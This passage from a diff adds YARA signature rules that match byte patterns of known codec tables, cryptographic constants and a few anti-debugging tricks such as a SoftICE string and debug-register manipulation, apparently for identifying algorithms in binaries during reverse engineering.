d4c69714537a10a1eaafa97d6d132ec8e5d6a604626a21b1fa5fb98d7de33e38f526b6f4729a314 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpcodecs_DTS_BITRATES__32_lil_120_
+{
+strings:
+	$a0 = { 007d0000c0da000000fa00000077010080b5010000f4010000ee0200006b030000e8030000e2040000dc050000d6060000d0070000ca080000c4090000b80b0000ac0d0000a00f00009411000088130000821400007c1500808815000076160000701700004c1d0000401f0000e02e0000983a0000803e00 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_wp_exp2_table__8_byt_256_
+{
+strings:
+	$a0 = { 00010102030304050606070808090a0b0b0c0d0e0e0f10101112131314151616171819191a1b1c1d1d1e1f202021222324242526272828292a2b2c2c2d2e2f3030313233343535363738393a3a3b3c3d3e3f4041414243444546474848494a4b4c4d4e4f50515152535455565758595a5b5c5d5e5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f8081828384858788898a8b8c8d8e8f9091929395969798999a9b9c9d9fa0a1a2a3a4a5a6a8a9aaabacadafb0b1b2b3b4b6b7b8b9babcbdbebfc0c2c3c4c5c6c8c9cacbcdcecfd0d2d3d4d6d7d8d9dbdcdddee0e1e2e4e5e6e8e9eaecedeef0f1f2f4f5f6f8f9fafcfdff }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32C__Castagnoli__poly_0x82F63B78__32_big_refl_True_
+{
+strings:
+	$a0 = { 000000000a5f4d7514be9aea1ee1d79f14c5eb571e9aa622007b71bd0a243cc81433082d1e6c4558008d92c70ad2dfb200f6e37a0aa9ae0f144879901e1734e515deced91f8183ac016054330b3f1946011b258e0b4468fb15a5bf641ffaf21101edc6f40bb28b8115535c1e1f0c116b15282da31f7760d60196b7490bc9fa3c160543311c5a0e4402bbd9db08e494ae02c0a866089fe513167e328c1c217ff902364b1c086906691688d1f61cd79c8316f3a04b1caced3e024d3aa1081277d403db8de80984c09d176517021d3a5a77171e66bf1d412bca03a0fc5509ffb12017e885c51db7c8b003561f2f0909525a032d6e92097223e71793f4781dccb90d11b258e11bed1594050cc20b0f538f7e0577b3b60f28fec311c9295c1b966429058150cc0fde1db9113fca261b6087531144bb9b1b1bf6ee05fa21710fa56c04046c96380e33db4d10d20cd21a8d41a710a97d6f1af6301a0417e7850e48aaf0105f9e151a00d36004e104ff0ebe498a049a75420ec538371024efa81a7ba2dd07b71bd00de856a51309813a1956cc4f1372f087192dbdf207cc6a6d0d932718138413fd19db5e88073a89170d65c4620741f8aa0d1eb5df13ff624019a02f351269d5091836987c06d74fe30c88029606ac3e5e0cf3732b1212a4b4184de9c1065add240c05905112e447ce18bb0abb129f367318c07b060621ac990c7ee1ec1edc6f41148322340a62f5ab003db8de0a1984160046c9631ea71efc14f853890aef676c00b02a191e51fd86140eb0f31e2a8c3b1475c14e0a9416d100cb5ba40b02a198015deced1fbc3b7215e376071fc74acf159807ba0b79d02501269d501f31a9b5156ee4c00b8f335f01d07e2a0bf442e201ab0f971f4ad8081515957d08d92c70028661051c67b69a1638fbef1c1cc72716438a5208a25dcd02fd10b81cea245d16b569280854beb7020bf3c2082fcf0a0270827f1c9155e016ce18951d07e2a91758afdc09b9784303e6353609c209fe039d448b1d7c93141723de610934ea84036ba7f11d8a706e17d53d1b1df101d317ae4ca6094f9b390310d64c0f6e37a005317ad51bd0ad4a118fe03f1babdcf711f491820f15461d054a0b681b5d3f8d110272f80fe3a56705bce8120f98d4da05c799af1b264e30117903451ab0f97910efb40c0e0e639304512ee60e75122e042a5f5b1acb88c41094c5b10e83f15404dcbc211a3d6bbe106226cb1a461a03101957760ef880e904a7cd9c196b7491133439e40dd5ee7b078aa30e0dae9fc607f1d2b31910052c134f48590d587cbc070731c919e6e65613b9ab23199d97eb13c2da9e0d230d01077c40740cb5ba4806eaf73d180b20a212546dd71870511f122f1c6a0ccecbf5069186801886b26512d9ff100c38288f066765fa0c435932061c144718fdc3d812a28ead }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__SOFTICE1__8_byt_STR_8_
+{
+strings:
+	$a0 = { 534f465449434531 }
+
+condition:
+	$a0
+}
+
+	
+rule ARIA_encryption_KRK__32_big_48_
+{
+strings:
+	$a0 = { 517cc1b727220a94fe13abe8fa9a6ee06db14acc9e21c820ff28b1d5ef5de2b0db92371d2126e9700324977504e8c90e }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_40_qtab_723_40__16_lil_30_
+{
+strings:
+	$a0 = { 86FFF0FF44008B00C600FA002A0153017A019D01BD01DB01F60110022902 }
+
+condition:
+	$a0
+}
+
+	
+rule VMAC__64_lil_AND_
+{
+strings:
+	$a0 = { fffeffffffffffff[0-20]ffffffffffffff3f[0-20]ffffffffffffff7f[0-20]ffffffffffffffff[0-20]ffffff1fffffff1f }
+
+condition:
+	$a0
+}
+
+	
+rule Virtools__crypted_files_decrypter_key__32_big_64_
+{
+strings:
+	$a0 = { 0000009d0000000b000000080000005b000000d4000000130000007700000060000000e7000000100000003f0000000a0000002c00000055000000b80000000a }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab_c0__16_big_62_
+{
+strings:
+	$a0 = { FFE3FFEBFFF3FFF9FFFDFFFF000B000FFFFF000D000EFFFDFFFF000700050009FFFDFFFF00060003FFFF000A000CFFFDFFFF00020001FFFF000400080000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes2__16_lil_96_
+{
+strings:
+	$a0 = { 00000a0018007400f200f401f60304000b0019007500f300f501f7031a001b0038007600f400f803f903770039007800f500f601fa03fc0ff600f700f800f701fb03fd0ffe3ff900f801f901fc03fc07fe7ffefffa01fd03fd07fe0ffe1fffff }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_transform_matrix_8x8__8_byt_64_
+{
+strings:
+	$a0 = { 0C0C0C0C0C0C0C0C100F0904FCF7F1F01006FAF0F0FA06100FFCF0F7091004F10CF4F40C0CF4F40C09F0040FF1FC10F706F010FAFA10F00604F70FF010F109FC }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_5E2__16_big_16_
+{
+strings:
+	$a0 = { 466626b8154c0bb60671038b01f30112 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG4_fir48_4_120__flt64___64_big_968_
+{
+strings:
+	$a0 = { 8000000000000000bf3a9e83a494e93ebf4579f4ac9d7eedbf425c89f3d32eb800000000000000003f50ed95c893520e3f63b747a6f3fa573f6f8c66478b189d3f747804ef341d163f764d200821fc433f73de0d1b59684a3f68c3bf95a935738000000000000000bf7002ea8bbc9baebf80a676f5f653e9bf88598a8c95b7febf8d5b0f6277023bbf8e13cf8633b7f3bf896e74494a6e30bf7e4e4975501f6300000000000000003f823422ddaab4823f925cae8f718de73f9a228b1898146e3f9ec0eb8a5598893f9ed51ed0b1a6033f9990eed5543d963f8defc46e6580918000000000000000bf9173df098b252abfa1624b755a8645bfa877bb88b8bdfbbfac829929b59aa7bfac57394f667680bfa7548b4d9f9cc8bf9b27caf6e912ef00000000000000003f9f67d6fd1d0ebe3faf3772d55701663fb5f3fd64db7c063fb999999999999a3fb9821c10b71a4f3fb515bb98bbdbe03fa8b0ab41d854a58000000000000000bfad185976c085ffbfbd4f528058ea78bfc4f5506c449ae6bfc8f24604d15df2bfc97d7c9d96709ebfc5bade52e82195bfba6e001aa4687700000000000000003fc15084256ad2f03fd2ce4d3807a76b3fddad20dcbbcf9c3fe42e9a92acaf3a3fe8f68f4ae64c333fecbe2b6e652fd23fef2a672186bf4b3ff00000000000003fef2a672186bf4b3fecbe2b6e652fd23fe8f68f4ae64c333fe42e9a92acaf3a3fddad20dcbbcf9c3fd2ce4d3807a76b3fc15084256ad2f00000000000000000bfba6e001aa46877bfc5bade52e82195bfc97d7c9d96709ebfc8f24604d15df2bfc4f5506c449ae6bfbd4f528058ea78bfad185976c085ff80000000000000003fa8b0ab41d854a53fb515bb98bbdbe03fb9821c10b71a4f3fb999999999999a3fb5f3fd64db7c063faf3772d55701663f9f67d6fd1d0ebe0000000000000000bf9b27caf6e912efbfa7548b4d9f9cc8bfac57394f667680bfac829929b59aa7bfa877bb88b8bdfbbfa1624b755a8645bf9173df098b252a80000000000000003f8defc46e6580913f9990eed5543d963f9ed51ed0b1a6033f9ec0eb8a5598893f9a228b1898146e3f925cae8f718de73f823422ddaab4820000000000000000bf7e4e4975501f63bf896e74494a6e30bf8e13cf8633b7f3bf8d5b0f6277023bbf88598a8c95b7febf80a676f5f653e9bf7002ea8bbc9bae80000000000000003f68c3bf95a935733f73de0d1b59684a3f764d200821fc433f747804ef341d163f6f8c66478b189d3f63b747a6f3fa573f50ed95c893520e0000000000000000bf425c89f3d32eb8bf4579f4ac9d7eedbf3a9e83a494e93e8000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_24__dqlntab__16_lil_16_
+{
+strings:
+	$a0 = { 00F887001101750175011101870000F8 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Debug_registers_manipulation__2___8_byt_55_
+{
+strings:
+	$a0 = { 8b4ce40c8381b800000002c7410400000000c7410800000000c7410c00000000c7411000000000c7411400000000c741180000000031c0 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Td3__0xf4a75051U___32_lil_1024_
+{
+strings:
+	$a0 = { 5150a7f47e5365411ac3a4173a965e273bcb6bab1ff1459dacab58fa4b9303e32055fa30adf66d76889176ccf5254c024ffcd7e5c5d7cb2a26804435b58fa362de495ab125671bba45980eea5de1c0fec302752f8112f04c8da397466bc6f9d303e75f8f15959c92bfeb7a6d95da5952d42d83be58d32174492969e08e44c8c9756a89c2f478798e996b3e5827dd71b9beb64fe1f017ad88c966ac207db43ace63184adfe582311a9760335162457f53b1e07764bb84ae6bfe1ca081f9942b08705868488f19fd4594876cde52b7f87bab23d37372e2024be3578f1f662aab55b20728eb2f03c2b5869a7bc5d3a5083730f2872823b2a5bf02ba6a03ed5c82168a2b1ccfa792b479f3f0f2074ea1e26965cdf4da06d5be05d11f6234c48afea6349d532ea2a055f30532e18aa475ebf60b39ec8340aaef605e069f71bd51106e3ef98a21963d06ddddae053e4d46bde691b58d5471055dc4046fd40660ff15501924fb98d697e9bd89cc434067779ed9b0bd42e807888b89e7385b1979dbeec8a1470a7c7ce90f42f8c91e8400000000098386803248ed2b1eac70116c4e725afdfbff0e0f5638853d1ed5ae3627392d0a64d90f6821a65c9bd1545b243a2e360cb1670a930fe757b4d296ee1b9e919b804fc5c061a220dc5a694b771c161a12e20aba93c0e52aa03c43e022121d171b0e0b0d09f2adc78b2db9a8b614c8a91e578519f1af4c0775eebbdd99a3fd607ff79f26015cbcf57244c53b665b347efb8b762943cbdcc623b668fcedb863f1e4d7cadc314210856313402297842011c6857d244ad2f83dbbae1132f9c76da1291d4b2f9edcf330b20dec528677d0e3c12b6c16b3a999b97011fa4894472264e9a8c48cfca01a3ff056d82c7d22ef903387c74e49d9c1d1388cfea2ca98360bd4a6cf81f5a528de7ada268eb73fa4bfad2ce49d3a500d92786a9bcc5f5462467ef6c2138d90e8b8d82e5ef73982f5afc39fbe805d697c93d06fa92dd5cfb31225c83b99ac10a77d18e86e639cdb7bbb3bcd0978266ef41859ec01b79a83a89a4fe6656e95aa7ee6ff2108cfbcefe6e815bad99be74ace366fead4099f29d67cb031afb2a42a31233fc63094a535c066a27437bc4efca6ca82e0b0d0903315d8a7f14a980441f7daec7f0e50cd172ff691768dd64d434db0efcc544daae4df04969ee3b5d14c1b886ac1b81f2c467f51659d04ea5e015d358cfa737487fb2e410bb35a1d679252d2dbe93356106d1347d69a8c61d7377a0ca1598e14f8eb893c13ceee27a9b735c961e1ede51c7a3cb1479c59dfd2553f73f21879ce1473bf37c753eacdf75f5baafddf146f3d7886db44ca81f3afb93ec468382c3424c25f40a31672c31dbc0c25e2288b493cff41950d397101a808deb30cd89ce4b46490c1567b6184cbd570b63248745c6cd04257b8 }
+
+condition:
+	$a0
+}
+
+	
+rule BICOM_bialib_sufftree_cpp_dini__32_big_640_
+{
+strings:
+	$a0 = { 000000190000001d0000001e00000021000000250000002a0000002c0000002a0000002d0000002f0000002d000000300000003100000032000000350000003b0000003c0000003d0000003d0000003d000000170000001f0000001a0000001f000000260000002d0000002e0000002a0000002e000000320000002f000000310000003400000031000000350000003b0000003c0000003d0000003d0000003d000000170000001f0000001f000000270000002c000000300000003400000032000000360000003400000036000000370000003900000037000000390000003e0000003d0000003e0000003d0000003d000000170000001c000000210000002e0000003300000036000000360000003400000036000000380000003900000038000000380000003a0000003a0000003e0000003d0000003f0000003f0000003b000000100000001b000000200000002f00000034000000350000003500000038000000380000003a0000003a00000035000000390000003c0000003d0000003e0000003f0000003f0000003f0000003900000019000000210000002600000038000000340000003500000038000000370000003a000000360000003900000038000000370000003d0000003e0000003f0000003f0000003e0000003f0000003d00000019000000210000002600000038000000340000003500000038000000370000003a000000360000003900000038000000370000003d0000003e0000003f0000003f0000003e0000003f0000003d00000019000000210000002600000038000000340000003500000038000000370000003a000000360000003900000038000000370000003d0000003e0000003f0000003f0000003e0000003f0000003d }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_vmdaudio_table__16_big_256_
+{
+strings:
+	$a0 = { 0000000800100020003000400050006000700080009000a000b000c000d000e000f0010001100120013001400150016001700180019001a001b001c001d001e001f00200020802100218022002280230023802400248025002580260026802700278028002880290029802a002a802b002b802c002c802d002d802e002e802f002f80300030803100318032003280330033803400348035003580360036803700378038003880390039803a003a803b003b803c003c803d003d803e003e803f003f804000440048004c005000540058005c006000640068006c007000740078007c0080009000a000b000c000d000e000f001000140018001c00200030004000 }
+
+condition:
+	$a0
+}
+
+	
+rule libskba_asn1_yycheck__32_lil_808_
+{
+strings:
+	$a0 = { 0C00000029000000410000002D0000007B0000000400000005000000040000007F000000050000003400000004000000050000009C00000038000000390000003A0000003B0000003C0000003D0000003E00000004000000050000000800000008000000320000000500000008000000050000001D0000001E000000380000000600000012000000610000000400000036000000120000000000000004000000050000006800000010000000050000000D0000000E0000000F000000BE000000330000001F0000002F0000003000000037000000310000006000000022000000370000001600000017000000330000002500000031000000370000003700000031000000310000006500000004000000310000003600000069000000200000003700000036000000030000008A00000033000000C40000005A000000C600000037000000900000002F000000300000007C0000000500000003000000070000000500000009000000070000000B0000000C0000002100000033000000260000003300000011000000370000001300000037000000150000001300000033000000180000001900000032000000370000001C00000004000000050000001D0000001E0000009900000005000000230000002400000004000000050000002700000028000000290000002A0000002B0000002C0000002D0000002E0000000500000005000000070000000500000009000000340000000B0000000C0000000300000003000000140000003600000011000000980000001300000036000000150000000A0000000A000000180000001900000014000000360000001C000000310000001A00000036000000040000000300000031000000230000002400000008000000050000002700000028000000290000002A0000002B0000002C0000002D0000002E000000B500000036000000120000001B0000000500000012000000040000003800000035000000050000003200000031000000360000000400000035000000040000003100000004000000320000005C000000B0000000320000003200000032000000320000003800000038000000A30000008B0000002000000087000000FFFFFFFFA7000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavutil_ff_log2_tab__8_byt_256_
+{
+strings:
+	$a0 = { 00000101020202020303030303030303040404040404040404040404040404040505050505050505050505050505050505050505050505050505050505050505060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060606060707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707 }
+
+condition:
+	$a0
+}
+
+	
+rule huffyuv_left_yuv__8_byt_152_
+{
+strings:
+	$a0 = { 422425264788e90a0c0b120c150d150e110f0dd0110810080f0d2e2f0e0c0d110c160b110a0ce9c84726252423422425262728292a4b2c4d4e4f5051725334955657b93a591a9e397a395a39573637963536957473725170af4e2d2c2b4a2827262524224224254728494a4b4c4d4e4f5071b231b051523435371aae795a3839387756353433343331302f2e4d4c4b4a4928272625242200 }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_rc__64_lil_80_
+{
+strings:
+	$a0 = { 4f01b887e8c6231852916f79f5d2a636357b0ca38e9bbc6057fe4b2ec2d7e01dda4af09fe5377715856ba0b10a29c95867053ecbf4105dbdd8957da78b4127e49e4717dd667ceefb33835aad07bf2dca }
+
+condition:
+	$a0
+}
+
+	
+rule Lucifer__outerbridge__Dps__8_byt_64_
+{
+strings:
+	$a0 = { 04102002010840808004102002010840408004102002010808408004102002010108408004102002020108408004102020020108408004101020020108408004 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_U0__32_big_1024_
+{
+strings:
+	$a0 = { bad3d26854fc4d192f71bc93749ccdb953f55102d3686bb8d26b6fbd4dd7296450f05d0dace98a268d8a0e83bfdcc6797090ddad52f655079ab352c84cd42d61ea238f65d56273a697a466f1d16e63b23355ccff51f359085bed712aa6f7a204de7f5f8148d83d75a8e59a3299b65ec7db704b903256c8fab7c4e651fc19d72be338ab489ebf42dc91ae7eef9bb056cde23baf4dbbd0d66d41c319586eb2a5cba5f2ae0bcb400bc06bbdb1da95a26efba1febe1ff308eb18b1cefe4f0206080acc4917dbc45137f31d277469143c5044c3582be863a591f2da734f955de769345fe1613edc79578b7d87e994cd4a13de7f81e19e5aee752f6cb4adc15ce46d31f704fb0c266a98beff1cdb24ed2a937ee825876f9dba4ed36fb1a1ce8e8f028c192b647da0fdba1af00de71789861e970f113c3307091c1bafec8629fb10cb3008182028153f54410d173439040c10140103040564ac8de9df7c5b84769ac5b3798bf980dd7a538e3d47f4c9163a584e3f41fcc33759dceb6db7a9c43848e0d8b9d6de677395d1a2e926836a355fd4e155ff491c7193d9a87b8df18a8c890a867296d5a788851a92f607ff092a7ea8823e42f8c65ee2653b27699cbb46ca05430c14303c65af89ec68b8bdd561a399f803050c0fc15e23e257f94116d6677fa9d976439a58e87d25d875479f66aa85e3d7647bac3a4ee8d2c84507cf3c44f0ccfa13cf3596a762f4a7f4a60198b55ac2ec29977bb8d5da62c7543bfcaeef822c69bbb9d04bdd317aabe0963da9e69e3767a981e60a1e282247c90146f20bef1db5c2ee5b226688aae532b356ee2f9f71bedfc27c2b7dac87819e3ebf1236485a839836b51b2d6c770e12383623658caff502f30645cf094c216384a5ce4f1fd149db39702c74b09cf916c33ae637bf59b6c7e2542878a08817395c4b829b32b01a2e68728b80169dfe1fdf218a831298091b242dc94603ca879426a14ed2256be13ea3422e72b896e431b753e03da747eb208b6090ad7aeaa4f1aa0e1e22786685922eab60a09dfd00000000256f94b1f401f703f10ee31294a16afe0b1d2c27e734bb5c759fc9bcef2c9b74345cd0e43153c4f5d46177a3d06d67b7869722a47e82e59badea8e23fd1ad32e297ba48d3050c0f03b4decd79fbc46d9f815c73fc6573ff913354c5f060a181e050f1411c55233f6113344557799c1b67c84ed917a8ef58f7888fd85365ad8ee1c24706c394be4dd59eb79201828607856fa4513b3c8f645b0cdfa4a246c90b4206080a0b2cbf24092ab72e0a3f8b615c05d27e744cc0d4962a695f710304050b4c1ea5e84912aae43c5115293a876e5c25b2fed4ade357fbddace738f8c06892d77b499bcd9ca769cb94ad66abeb5df40c01d5dcf4c1bd4a2fbb210809d3aba4fd1216e1f217c63ca430fc5aae3923842c61557 }
+
+condition:
+	$a0
+}
+
+	
+rule Anubis_T1__32_big_1024_
+{
+strings:
+	$a0 = { 53a7f5a6bbd3d06bd1e66ebfe2713bd9bdd0da6745accf8a9a4db329f2790bf9743a9ce88fc98c033f91417ee5fc32d73c1e44788e478f01a854e54d67bda9ce058c0f0a57a5f9aef47a01f5ebfb20cbc66357916db8b7daa7ddf453b5d4c277d7e564b37bb38df697c5a43361bea3c24fa9d19e0d88171a180c283059a2ebb2723996e4a3dff85b5229f6a4a9dae64f562bfaac4da8d79a8bcb800b984cb52d964ba7314422cc8849aadb924824d89082419b19e0703ddd51a6f3a2eff92cc3b45ac175d9e276af7db087fa6c36b4d8fa7d13e9d5e462b76633aacce3ff38dbc0605d9d4020c080100830200b8b1d16bc5ed9654babdd96fe7f1fe1f0780dfdf87c15ed582ce8b0ae57ef41b9d2d66fa5dcf257da6d73a9fc7e19e51a0d2e34a653f75135945f6a9bc3b02b5028f0a04e27d29c0c061418be5fdf6147adc98ece674f81b85cd56daa55e3499048ad3d1c0e2438a452f155c9ea468f84429115b65bc771ba5dd3696030a0c0b058cd7da251fb59b259cb79783c88f09c4eb925703890e0098a1b12e47231d528147850d3e768bb91c6ae3fa1defe5fa050fd5d018e030239924b72bfd1dc63ee772fc13b934d768a458309299a7b5281ce9e1f5a2deeb406030a0cc462519571b693e26fb9b1de63bfa5c631965362d66b67b17e3f82fc0e07121c24126c4841aec38280409d1d6834b8d08c4689057c3e84f8abdbe04b83cf981bc5ec529785cc92179fc1bc235fa1e1be9dc0ba27b1d6ce7f3a1d4e74f5f402f7c2615b99763b9aec20106040add8ea47d0686dbd5da0e7ba7fb181fe140a3c28d2696bb9d86c75ad9249ab39e9fa26cfec7629c595c4a237219e63422b9b7d56dc6e79a52f99715e99c2b62f73b795e62d98775a65bcafca038f05061785392e3e1f427c75b49feaedf82ac7221166445c2ee4b8000000004a25de94381c4870542afca87a3d8ef40a051e149e4fbf21f67b07f179b28bf26432acc83d90477a43afc586321956645ba3edb6f3f708fbe67337d1279d694e2a157e54e87425cdc1ee5e9f89ca860f239f65461e0f223c361b5a6cea7523c91186332215843f2a259c6f4a944aa13533975566341a5c68ca654389f1f60effc7ed5493120936246bbbbdd64c26d4981b832d36cbeb408bde6f7fa11f81213e08041810d46a61b586439711020106042e17725cdfe17ca313873526f7f504f3078d090edbe370ab4623ca8c1d80273a8844850d2c167458cc6649854221c684e1fe3edfb7d5c4736231a6c4afd9ec436a35bed43018506004020c08c864458df9f216effff11ce3ac56e94587cd941319822b328dc88a0769babbd2fdf01ae7c3ef589bcfe94c83cde84a87e7fd34d30f89111eb3d7c87b93c7a83b77b599ee55a4ffaa5e2fe2bc3795596e26136a4c160b3a2cfbf310ebdde07aa76e37b2dc }
+
+condition:
+	$a0
+}
+
+	
+rule SSL2__define__32_lil_AND_
+{
+strings:
+	$a0 = { 00000002[0-20]80000102[0-20]80000202[0-20]80000302[0-20]80000402[0-20]80000502[0-20]40000602[0-20]40010602[0-20]c0000702[0-20]c0010702[0-20]80000802[0-20]0008ff02[0-20]1008ff02 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_hw_gain__flt32___32_big_136_
+{
+strings:
+	$a0 = { 3f157e003f1af8003f20a4003f2686003f2ca0003f32f2003f397e003f404a003f4754003f4ea0003f5630003f5e08003f662a003f6e98003f7624003f7b96003f7ee2003f8000003f7eee003f7bb0003f764a003f6eca003f6540003f59c0003f4c64003f3d48003f2c90003f1a5e003f06da003ee45c003eb914003e8c34003e3c48003dbd2000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_f_huff_ipd__8_byt_14_
+{
+strings:
+	$a0 = { 01E10203E2040506E5E6E4E7E3E8 }
+
+condition:
+	$a0
+}
+
+	
+rule libavformat_ff_mxf_data_definition_uls__8_byt_69_
+{
+strings:
+	$a0 = { 060e2b340401010101030202010000000d00000000000000060e2b340401010101030202020000000d00000001000000000000000000000000000000000000000000000002 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_U3__32_big_1024_
+{
+strings:
+	$a0 = { 68d2d3ba194dfc5493bc712fb9cd9c740251f553b86b68d3bd6f6bd26429d74d0d5df050268ae9ac830e8a8d79c6dcbfaddd90700755f652c852b39a612dd44c658f23eaa67362d5f166a497b2636ed1ffcc55330859f3512a71ed5b04a2f7a6815f7fde753dd848329ae5a8c75eb699904b70dbfac8563251e6c4b72bd719fc48ab38e3dc42bf9eef7eae91cd56b09b4daf3be26dd6d0bb5819c341cba5b26e0baef2a5c00b40cbdab1bd6bfb6ea2951fbefea118eb08f34ffeceb10a080602db1749ccf33751c46974271d44503c14e82b58c3f291a563954f73da3469e75d3e61e15f8b5779dc94e9877dde134acd9ee1817f2f75ee5ac1adb46c316de45c0cfb04f7be986a2624db1cff7e932aed6f8725e8d34eba9dcea1b16f8c028f8e7d642b191abafda017e70df0971e8689333c110f1b1c09072986ecaf30cb10fb2820180841543f153934170d14100c0405040301e98dac64845b7cdfb3c59a7680f98b798e537addc9f4473d4e583a16c3fc413febdc5937c4a9b76dd8e0483867ded6b9a2d195736a8326e9e1d45f351c49ff55a8d993718af18d7b860a898ca7d59672921a858809ff07f682a87e2ac6f8423e3b65e25ebb9c69274305ca463c30140cec89af65d5bdb868f899a3610f0c0503e2235ec11641f957a97f67d69a4376d9257de8589f4775d8e385aa66ac7b64d7d2e84e3acf0745c8ccf0443c35cf13faf462a79601a6f4a7c25ab5987b9729ec62dad5b8fc3b54c72c82efaed0b9bb697a31dd4b3d96e0ab379ee6a9e681a96722281e0a4601c9471def0bf25beec2b5aa88662256b332e5719f2fee7cc2dfbe87ac7d2bbf3e9e815a483612b5369883776c2d1b3638120eaf8c652306f302f54c09cf45a5846321d11f4fce7039db499cb0742c3ac316f959bf37e654e2c7b688a078284b5c3917b0329b8272682e1a9d16808b21df1ffe9812838a2d241b09ca0346c9a12694876b25d24e42a33ee196b8722e53b731e447a73de0608b20ebea7aad900eaaf1a46678221eab2e9285fd9da06000000000b1946f2503f701f412e30ef1fe6aa194272c1d0b5cbb34e7bcc99f75749b2cefe4d05c34f5c45331a37761d4b7676dd0a42297869be5827e238eeaad2ed31afd8da47b29f0c05030d7ec4d3bd946bc9f3fc715f8f93f57c65f4c35131e180a0611140f05f63352c555443311b6c1997791ed847c8ff58e7a85fd8878eed85a366c70241cdde44b392079eb59786028181345fa5645f6c8b34afacdb0b4906c24a080602040f2cbb2e072ab9215b6f8a3e7275dc0490dcc44f795a662504030105eeac1b4ae2a91845211c543e576a893ed2f5bc27f35de4a73cedabd89068c8f99b4772d76cad9bcd64ab99cdfb5be6a5d1dc040d41b4ccf10b2fba2ba3a9d806e21d14f637c211fc50f43ca3892e3aa5715c642 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_high_freq_vq__8_byt_8185_
+{
+strings:
+	$a0 = { 0000000000000000000000000000000000000000000000000000000000000000FCFE0201F0F6010301000601FD0701EA02FCFD0B0E06FF01F31DE40A0AF800F7F808F90AFDF4FBF801FE09FEFBEE0109F8F8032907F7F716D6E30EEEF2E001F1F0080F10F0050207FAF0F90101FDFE000814E6F502EF00FDDEDB0A2CFE1602FC070E05060FFF03FDF7E9FBF208FFF2FAFBF8361FFA1202EDFEF5E2FAED02FEF20102FEFFFDFD01FB01FDFCF805FC00010307FBFCFDF403FEFD0CCBCD06FF060800FF0501FAF80705EEFCFF0100FDFDF2FFFA00F2FFFF05FDF501EC0A0213FEFE0204030005000301FE00FAFDFCFBFDFDF900DE04D51100CBF3F9180E05EE09EC0100FD0203FBFE07EB05E7170BE40201F5090DFAF405070204F5FAFF080001FE02FCFAFC00FBE30DFAEAFDD50CD7051812F7DCFA04F9FC0D04F1FFFB0102FB0400FF0DFAFB0100FD01FB13EA1FE504F1FA0F09F301F70AEF04FFFF040200FDFBF903F80D13F408EDFDFEE81F0E0007F3EE0003060DFE01F4EB09FE1E15F202F2FDF908FFFEF70601F9070D03FFF61E04F60C0506F3F9FCFEFE07FDFA03040102F80902FDFB0200090307FCF0F30317E5122EDA06042BFF0008F9FCFF0BF906FD010112F8FA00030416FDFCFEFCF528F9FDF3F2F9F60E0705F20BFB0715FE09FD0000FE04FE000200FF02FF0000020202FF01FDFFF1FEC1E5EBD1F201F20A00020100FC00FDF7040206FA00FB0BF9F106F9FA0307F1FB17F3FA0CF80902FD030406000300FEFC020101FF01FEFFFCEAF1D2BE0A1402EF0CFA01FEFE0001FB0102FF00000100FC0001F6FDF80507F502F51DE70B0A00FF05F9FEFBFE0404FD05FE01FFFFFDFE01F8FD02FE04FBFFF9FE01F2F903E2F1F203FCFF03F3FFFD010203FFFEFD0202FD0301FD0200FC0605FB0AC70316CE01FEFBFAFF0501020201FE020200FFF902010302000403FE03FD04FC18DDFD26FAFB0F140310F9FB00FCFB000001000000FFFF0101FF01FE0000000000FFFEFFFBFED5FD2ECCF607F80BFEFF0000FF00FF02D721D4D0F1E6F7060303FD02020202FFFFFE0103000005020301FC010601FAFFFE01F2FC00FBFE02FE00FA010008EB20FDDCFAFEFFF9030001FAFDFE0300020208FCFC06020103FA04030D00F4FF19ECFEE9F107FDF5FD06FF000000FDFF0000FEFFFEFE01FF00000A03FE0303F9FAFB00FCC4F0FA260506FB00000100000000000001FFFF00010000010000FF00F802F70A281FC8EB0414FC07FEFE0004FDFF07030103F8000301020501FE0E0504050505FB09BE00ECFEF804FEFF04FFF8FEFCFFFDFD02F9FD0507FE2D1FEFF0FEFEFFEA01FFFD0305FD05FFFC00070508070209F7F7F9F5FDF811FC22201216010201F9FB06FF06040AFEF906000E0906FFFEFD04FAF80407FF1C260FFF10F5050804F603F6EF0503030301010102FF02010000FF0000FE01FD000102FEFCFE00FF01FD010101FF08084221FB02FDF902F8FC0A11EEF904FCF9FAFAFB05F402000608FE0104F50201081F13060910FAFAFFFEFDF5FE07071103040A0205F30807010405070607F809F8210603FF0100F9FB000EF901F90102FC070AF00C01FA0308FF0AF3FAF4E90CFD1E0EFEF1000803ED05FD02030D070EFDF6000805FAF0F8F80E02FF01F7F50BFB1B09F806FC04FCFF050401F9FBFCF1010900080401EF0BFEEDFFFAF803F403EF21F6FDFF020707FE0908EEFFF3F6FDFD0B08FEF4F80104090E0AFD000201FE031F0AFDF608FFFBF507FB03060104F00A05FCFEF6FF0D06FBF90C07FDEF010CFC1D0801020502FAF900FF06FF0A06FC050202FEF8FAF50EF31B03FEF405F002E6140FFFFDFBFDFD06FF03FB0107020100FFFF00FF0907FAFD04FBFC08F8E7F8FC2217FFFE0101FFFEFF01FF00000000FEFF01000201FF04000001FF0005030C